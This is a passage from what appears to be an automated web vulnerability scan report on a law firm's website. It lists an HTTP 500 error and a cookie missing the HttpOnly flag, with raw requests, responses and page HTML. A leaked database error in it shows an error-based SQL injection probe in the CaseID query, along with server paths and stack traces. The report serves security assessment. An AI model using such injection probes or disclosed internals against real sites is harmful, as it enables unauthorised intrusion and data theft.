<td style="border : 1px solid #350606;background-color :#FFCC00;">Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</td>
</tr>







<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">SQL</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;"><br /> SELECT pomlaw_Case.Document5,pomlaw_Case.Document4,pomlaw_Case.Document3,pomlaw_Case.TitleTag,pomlaw_Case.Document10,pomlaw_Case.Document2,pomlaw_Case.Document1,pomlaw_Case.DisplayOrder,pomlaw_Case.ClassStartData,pomlaw_Case.PracticeArea,pomlaw_Case.DescriptionTag,pomlaw_Case.DisplayOn,pomlaw_Case.Tagline,pomlaw_Case.CaseID,pomlaw_Case.StockSymbol,pomlaw_Case.Status,pomlaw_Case.Content,pomlaw_Case.ClassEndData,pomlaw_Case.Document9,pomlaw_Case.Document8,pomlaw_Case.Document7,pomlaw_Case.Thumbnail,pomlaw_Case.Title,pomlaw_Case.Document6 FROM pomlaw_Case WHERE pomlaw_Case.CaseID = ''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' <br /> </td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DatabaseName</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Microsoft SQL Server</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DatabaseVersion</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">8.00.2039</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DriverName</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Microsoft SQL Server 2005 JDBC Driver</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DriverVersion</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">1.2.2828.100</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Datasource</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">pomlaw</td>
</tr>






<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">
The Error Occurred in<br />




<img src="/railo-context/admin/resources/img/debug_minus.gif.cfm"
style="margin-top:2px;"
onclick="oc('1');"
name="__btn1"/>


<b> C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc: line 251</b><br />

<blockquote style="font-size : 10;" id="__cp1">
249: &lt;cfelse&gt;<br>250: &lt;cfquery name=&quot;RecordSet&quot; datasource=&quot;#variables.Datasource#&quot;&gt;<br><b>251: #preservesinglequotes(SQLScript)#</b><br>252: &lt;/cfquery&gt;<br>253: &lt;/cfif&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('2');"
name="__btn2"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc: line 368<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp2">
366: };<br>367: CompleteSQL = &quot;SELECT #SelectSQL# FROM #TableName# #JoinSQL# WHERE #BaseFilter# #ExtendedFilter# &quot;;<br><b>368: Recordset = executeSQL(CompleteSQL);</b><br>369: &lt;/cfscript&gt;<br>370: &lt;cfreturn Recordset&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('3');"
name="__btn3"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseService.cfc: line 251<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp3">
249: }<br>250: else {<br><b>251: Recordset = variables[ObjectName &amp; &quot;DAO&quot;].getbyProperty(argumentCollection=arguments);</b><br>252: };<br>253: Object.loadQuery(Recordset);<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('4');"
name="__btn4"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseService.cfc: line 196<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp4">
194: var Object = &quot;&quot;;<br>195: arguments.PropertyName = IDPropertyName;<br><b>196: Object = getByProperty(ArgumentCollection=Arguments);</b><br>197: &lt;/cfscript&gt;<br>198: &lt;cfreturn Object&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('5');"
name="__btn5"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 169<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp5">
167: {<br>168: // The physical method exists, so call it<br><b>169: Response = evaluate(&quot;#MethodName#(argumentCollection=ArgumentStruct)&quot;);</b><br>170: }<br>171: Else<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('6');"
name="__btn6"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseFeature.cfc: line 197<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp6">
195: // Process any dynamic parameters<br>196: Arguments = evaluateArguments(Arguments, PageRequest);<br><b>197: Response.Data = ServiceClass.Call(Method, Arguments);</b><br>198: Response.Screen = screen;<br>199: &lt;/cfscript&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('7');"
name="__btn7"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 205<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp7">
203: };<br>204: // Add any runtime properties passed in via the argument struct<br><b>205: Response = evaluate(&quot;#Properties[&quot;Type&quot;]#(ArgumentCollection=Properties)&quot;);</b><br>206: &lt;/cfscript&gt;<br>207: &lt;cfreturn Response&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('8');"
name="__btn8"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 176<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp8">
174: {<br>175: // The virtual method exists, call that <br><b>176: Response = runMethod(MethodName, ArgumentStruct);</b><br>177: }<br>178: Else<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('9');"
name="__btn9"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseFeature.cfc: line 394<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp9">
392: MethodName = Metadata.get(&quot;DefaultAction&quot;);<br>393: }<br><b>394: Response = call(MethodName, ArgumentsStruct);</b><br>395: &lt;/cfscript&gt;<br>396: &lt;cfreturn Response&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('10');"
name="__btn10"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\controller\ContentAreaController.cfc: line 57<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp10">
55: };<br>56: // Call the appropriate feature for this page <br><b>57: Response = variables[PageFeature &amp; &quot;Feature&quot;].callAction(Action, PageRequest); </b><br>58: };<br>59: };<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('11');"
name="__btn11"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\LightBase.cfc: line 72<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp11">
70: <br>71: // Process the main content area before the template to make sure to have the data in case it is required elsewhere<br><b>72: MainContentArea = ContentAreaController.mainContentArea(PageRequest);</b><br>73: // Save that data to the page request object<br>74: PageRequest.set(&quot;MainContentArea&quot;, MainContentArea);<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('12');"
name="__btn12"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\index.cfm: line 30<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp12">
28: Page.FilePath = &quot;home&quot;;<br>29: };<br><b>30: Request.LightBase.processPage(Page);</b><br>31: &lt;/cfscript&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('13');"
name="__btn13"/>


<b>called from</b>C:\data\cweb03\LightBase2\applications\pomlaw\wwwroot\cases.cfm: line 1<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp13">
<b>1: &lt;cfset Page.FilePath = 'cases'&gt;&lt;cfinclude template='/lightbase2/framework/index.cfm'&gt;</b><br><br />
</blockquote>

</td>
</tr>


<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.
at com.microsoft.sqlserver.jdbc.SQLServerException.makeFromDatabaseError(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.getNextResult(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.doExecuteStatement(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement$StmtExecCmd.doExecute(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.TDSCommand.execute(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerConnection.executeCommand(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeCommand(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeStatement(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.execute(Unknown Source):-1
at railo.runtime.type.QueryImpl.&lt;init&gt;(QueryImpl.java:218):218
at railo.runtime.tag.Query.executeDatasoure(Query.java:580):580
at railo.runtime.tag.Query.doEndTag(Query.java:434):434
at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:251):251
at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.call(UDFImpl.java:359):359
at railo.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:738):738
at railo.runtime.PageContextImpl.getFunction(PageContextImpl.java:1438):1438
at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:368):368
at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.ComponentImpl._call(ComponentImpl.java:572):572
at railo.runtime.ComponentImpl._call(ComponentImpl.java:500):500
at railo.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:1760):1760
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:769):769
at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453
at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:251):251
at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:774):774
at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453
at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:196):196
at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:760):760
at railo.runtime.util.VariableUtilImpl.callFunction(VariableUtilImpl.java:705):705
at railo.runtime.interpreter.ref.func.UDFCall.getValue(UDFCall.java:52):52
at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:179):179
at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:221):221
at railo.runtime.PageContextImpl.evaluate(PageContextImpl.java:2662):2662
at railo.runtime.functions.dynamicEvaluation.Evaluate._call(Evaluate.java:72):72
at railo.runtime.functions.dynamicEvaluation.Evaluate.call(Evaluate.java:65):65
at framework.base.baseobject_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\b..
Internal Server Error

Internal Server Error

1 TOTAL
LOW
CONFIRMED
1
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.

Impact

The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.

Remedy

Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
- /cases.html

/cases.html CONFIRMED

http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102&print=1

Request

GET /cases.html?action=caseDetail&CaseID=102&print=1 HTTP/1.1
Referer: http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pomerantzlaw.com
Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; CFTOKEN=0
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Thu, 12 May 2011 11:48:23 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Railo-Version: 3.2.2.000
Content-Length: 16965
Content-Type: text/html; charset=UTF-8



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript" src="/js/jquery-1.3.1.min.js"></script>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />








<title>CKx</title>
<meta name="description" content="CKx Inc. CKXE merger Apollo Global Management" />




<link href="/print.css" rel="stylesheet" type="text/css" />
<script type="text/javascript">
window.print()
</script>

<!--[if IE 6]>
<style type="text/css" media="screen">
body{behavior:url(/csshover.htc); font-size:100%;}
</style>
<![endif]-->
</head>

<body>



<!-- END of freefind onpage results html -->



<div id="wrapper"> <!-- Start wrapper-->






<div id="menuh"> <!-- Start menu-->
<ul>
<li class="bt_1"><a href="/home.html" class="top"></a></li>
<li class="bt_2"><a href="/the-firm.html" class="top"></a>

<ul class="sub_2">

<li><a href="/the-firm/what-makes-pomerantz-unique.html" class="sub_button">What Makes Pomerantz Unique</a></li>

<li><a href="/the-firm/firm-history.html" class="sub_button">Firm History</a></li>

<li><a href="/the-firm/diversity-recruiting.html" class="sub_button">Diversity & Recruiting</a></li>

<li class="last_item"><a href="/the-firm/latest-news-accomplishments.html" class="sub_button">Latest News & Accomplishments</a></li>

</ul>

</li>
<li class="bt_3"><a href="/attorneys.html" class="top"></a>

</li>
<li class="bt_4"><a href="/practice-areas.html" class="top"></a>

<ul class="sub_4">

<li><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=3" class="sub_button">Securities Litigation</a></li>

<li><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=4" class="sub_button">Antitrust Litigation</a></li>

<li class="last_item"><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=5" class="sub_button">Insurance Litigation</a></li>

</ul>

</li>
<li class="bt_5"><a href="/institutional-investor-services.html " class="top"></a>

<ul class="sub_5">

<li><a href="/institutional-investor-services/portfolio-monitoring.html" class="sub_button">Portfolio Monitoring</a></li>

<li><a href="/institutional-investor-services/case-evaluation.html" class="sub_button">Case Evaluation</a></li>

<li><a href="/institutional-investor-services/litigation-services-for-investors.html" class="sub_button">Litigation Services</a></li>

<li><a href="/institutional-investor-services/global-client-services.html" class="sub_button">Global Client Services</a></li>

<li><a href="/institutional-investor-services/global-client-services/global-client-services-israel.html" class="sub_button">Global Client Services - Israel</a></li>

<li><a href="/institutional-investor-services/corporate-governance.html" class="sub_button">Corporate Governance</a></li>

<li class="last_item"><a href="/institutional-investor-services/institutional-investor-faq.html" class="sub_button">Institutional Investor FAQ</a></li>

</ul>

</li>
<li class="bt_6_sel"><a href="/cases.html" class="top"></a>

</li>
<li class="bt_7"><a href="/locations.html" class="top"></a></li>
<li class="bt_8"><a href="/contact-us.html" class="top"></a></li>
</ul>
</div> <!-- End menu-->


<div id="header"> <!-- Start header-->

<div id="logo"><a href="/home.html"><img src="/images/inner_logo.jpg" alt="" border="0" /></a></div> <!-- Logo-->
<div id="page_title">






<h1>CKx</h1>



</div> <!-- Page Title-->
</div> <!-- End header-->


<div id="page_content"> <!-- Start content-->




<div id="left_menu"> <!-- Start left menu-->

<ul class="arrow reset">
<li><a href="/cases.html" class="lt_menu">Cases</a></li>

</ul>
<hr />

<ul class="arrow reset">
<li><a href="/the-firm/what-makes-pomerantz-unique.html" class="lt_menu">What Makes Pomerantz Unique</a></li>
<li><a href="/institutional-investor-services.html" class="lt_menu">Institutional Investor Services</a><br /></li><br />
</ul>

</div> <!-- End left menu-->




<div id="right_content_inner"><!-- Start right content-->











<div id="case">
<div class="column_lt">

<p class="item_name">Symbol:</p>
<p>CKXE</p>

<p class="item_name">Class Period:</p>
<p> &#8211; </p>

<p class="item_name">Status:</p>
<p>Active</p>

<p class="item_name">Documents:</p>

</div>
<div class="column_rt">
<img src="" height="132px" width="226px" alt="" />
<p class="item_name">Case Updates via RSS:</p>
<span><a href="/casexml/case102.xml"><img src="images/xml_icon.gif" alt="" /></a></span>
<p class="item_name">Case Updates via Email </p>
<form id="update" method="post" action="/case-form.cfm">
<input type="hidden" name="CaseID" value="102" />
<input type="text" tabindex="1" name="email" id="email"/>
<input type="submit" tabindex="2" value="" id="go"/>
</form>
</div>
<div class="clr"></div>
</div>
<div class="clr"></div>
<div class="wysiwyg"><p><p>&nbsp;&nbsp;&nbsp;&nbsp; Pomerantz is investigating potential claims on behalf of investors of CKx, Inc. (&ldquo;CKx&rdquo; or the &ldquo;Company&rdquo;) (NASDAQ: CKXE) concerning the proposed acquisition of CKx by Apollo Global Management in a transaction valued at $511 million.<br />&nbsp;&nbsp;&nbsp; The investigation concerns whether the board of directors breached their fiduciary duties by failing to adequately shop the Company and maximize shareholder value. Under the terms of the agreement, CKx shareholders will receive $5.50 in cash per share. At least one analyst has valued the stock as high as $8.00 per share.&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp; CKx shareholders seeking more information about this acquisition are advised to contact Gustavo Bruckner, Esq. at gfbruckner@pomlaw.com or 212-661-1100 or toll free at 888-476-6529, ext. 302. Shareholders may also contact Rachelle R. Boyle at rrboyle@pomlaw.com or 212-661-1100 or 888-476-6529, ext. 237.</p> </p></div>

<a href="cases.html">Back</a>





<br /><br />

<!-- ADDTHIS BUTTON BEGIN -->
<br /><br />
<table width="500" id="toolbox">
<tr><td width="250">
<p><script type="text/javascript">
addthis_pub = 'y2kesq'; addthis_options = 'email, favorites, linkedin, twitter, digg, delicious, google, facebook, stumbleupon, reddit, more';
</script><a href="http://www.addthis.com/bookmark.php" onmouseOver="return addthis_open(this, '', 'http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102&print=1', 'CKx')" onmouseOut="addthis_close()" onclick="return addthis_sendto()"><img src="http://s7.addthis.com/button1-share.gif" width="125" height="16" border="0" alt="Bookmark" /></a><script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script></p>
<!-- ADDTHIS BUTTON END -->
</td>
</tr>
<tr>
<td width="250">
<a href="<!-- Railo [3.2.2.000] Error -->







<script>

var plus='/railo-context/admin/resources/img/debug_plus.gif.cfm';
var minus='/railo-context/admin/resources/img/debug_minus.gif.cfm';

function oc(id) {
var code=document.getElementById('__cp'+id);
var button=document.images['__btn'+id];
if(code.style) {
if(code.style.position=='absolute') {
code.style.position='relative';
code.style.visibility='visible';
}
else {
code.style.position='absolute';
code.style.visibility='hidden';
}
if((button.src+"").indexOf(plus)!=-1)button.src=minus;
else button.src=plus;
}
}
</script>
<table border="0" cellpadding="4" cellspacing="2" style="font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;font-size : 11px;background-color:red;border : 1px solid black;;">
<tr>
<td colspan="2" style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Railo 3.2.2.000 Error (expression)</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Message</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">variable [THISPRINTURL] doesn't exist</td>
</tr>












<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">
The Error Occurred in<br />




<img src="/railo-context/admin/resources/img/debug_minus.gif.cfm"
style="margin-top:2px;"
onclick="oc('1');"
name="__btn1"/>


<b> C:\data\cweb03\LightBase2\applications\pomlaw\layout\page\default-real.cfm: line 71</b><br />

<blockquote style="font-size : 10;" id="__cp1">
69: &lt;tr&gt;<br>70: &lt;td width=&quot;250&quot;&gt;<br><b>71: &lt;a href=&quot;#ThisPrintURL#&quot;&gt;&lt;img src=&quot;/images/printericon.jpg&quot; width=&quot;40&quot;&gt;&lt;/a&gt;</b><br>72: &lt;/td&gt;<br>73: &lt;/tr&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('2');"
name="__btn2"/>


<b>called from</b>C:\data\cweb03\LightBase2\applications\pomlaw\layout\page\default.cfm: line 6<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp2">
4: &lt;cfinclude template=&quot;admin.cfm&quot;&gt;<br>5: &lt;cfelse&gt;<br><b>6: &lt;cfinclude template=&quot;default-real.cfm&quot;&gt;</b><br>7: &lt;/cfif&gt;<br>8: <br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('3');"
name="__btn3"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\view\Render.cfc: line 19<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp3">
17: variables.SiteUser = PageRequest.get('SiteUser');<br>18: &lt;/cfscript&gt;<br><b>19: &lt;cfinclude template=&quot;/lightbase2/applications/#ApplicationConfig.get(&quot;Name&quot;)#/layout/page/#Page.get(&quot;Template&quot;)#.cfm&quot;&gt;</b><br>20: &lt;/cffunction&gt;<br>21: <br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('4');"
name="__btn4"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\LightBase.cfc: line 78<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp4">
76: var RenderThis = LightWire.getTransient(&quot;Render&quot;);<br>77: <br><b>78: RenderThis.page(PageRequest);</b><br>79: <br>80: // Render.page(PageRequest);<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('5');"
name="__btn5"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\index.cfm: line 30<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp5">
28: Page.FilePath = &quot;home&quot;;<br>29: };<br><b>30: Request.LightBase.processPage(Page);</b><br>31: &lt;/cfscript&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('6');"
name="__btn6"/>


<b>called from</b>C:\data\cweb03\LightBase2\applications\pomlaw\wwwroot\cases.cfm: line 1<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp6">
<b>1: &lt;cfset Page.FilePath = 'cases'&gt;&lt;cfinclude template='/lightbase2/framework/index.cfm'&gt;</b><br><br />
</blockquote>

</td>
</tr>


<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>variable [THISPRINTURL] doesn't exist
at railo.runtime.type.scope.UndefinedImpl.get(UndefinedImpl.java:256):256
at applications.pomlaw.layout.page.default_real_cfm360$cf.call(C:\data\cweb03\LightBase2\applications\pomlaw\layout\page\default-real.cfm:71):71
at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:764):764
at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:717):717
at applications.pomlaw.layout.page.default_cfm$cf.call(C:\data\cweb03\LightBase2\applications\pomlaw\layout\page\default.cfm:6):6
at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:764):764
at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:717):717
at framework.view.render_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\view\Render.cfc:19):19
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:..
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /cases.html

/cases.html CONFIRMED

http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102

Identified Cookie

CFID

Request

GET /cases.html?action=caseDetail&CaseID=102 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pomerantzlaw.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Thu, 12 May 2011 11:48:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Railo-Version: 3.2.2.000
Set-Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; domain=www.pomerantzlaw.com; path=/; expires=Fri, 10-May-2041 19:39:52 GMT,CFTOKEN=0; domain=www.pomerantzlaw.com; path=/; expires=Fri, 10-May-2041 19:39:52 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript" src="/js/jquery-1.3.1.min.js"></script>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />








<title>CKx</title>
<meta name="description" content="CKx Inc. CKXE merger Apollo Global Management" />




<link href="/main.css" rel="stylesheet" type="text/css" />

<!--[if IE 6]>
<style type="text/css" media="screen">
body{behavior:url(/csshover.htc); font-size:100%;}
</style>
<![endif]-->
</head>

<body>



<!-- END of freefind onpage results html -->



<div id="wrapper"> <!-- Start wrapper-->






<div id="menuh"> <!-- Start menu-->
<ul>
<li class="bt_1"><a href="/home.html" class="top"></a></li>
<li class="bt_2"><a href="/the-firm.html" class="top"></a>

<ul class="sub_2">

<li><a href="/the-firm/what-makes-pomerantz-unique.html" class="sub_button">What Makes Pomerantz Unique</a></li>

<li><a href="/the-firm/firm-history.html" class="sub_button">Firm History</a></li>

<li><a href="/the-firm/diversity-recruiting.html" class="sub_button">Diversity & Recruiting</a></li>

<li class="last_item"><a href="/the-firm/latest-news-accomplishments.html" class="sub_button">Latest News & Accomplishments</a></li>

</ul>

</li>
<li class="bt_3"><a href="/attorneys.html" class="top"></a>

</li>
<li class="bt_4"><a href="/practice-areas.html" class="top"></a>

<ul class="sub_4">

<li><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=3" class="sub_button">Securities Litigation</a></li>

<li><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=4" class="sub_button">Antitrust Litigation</a></li>

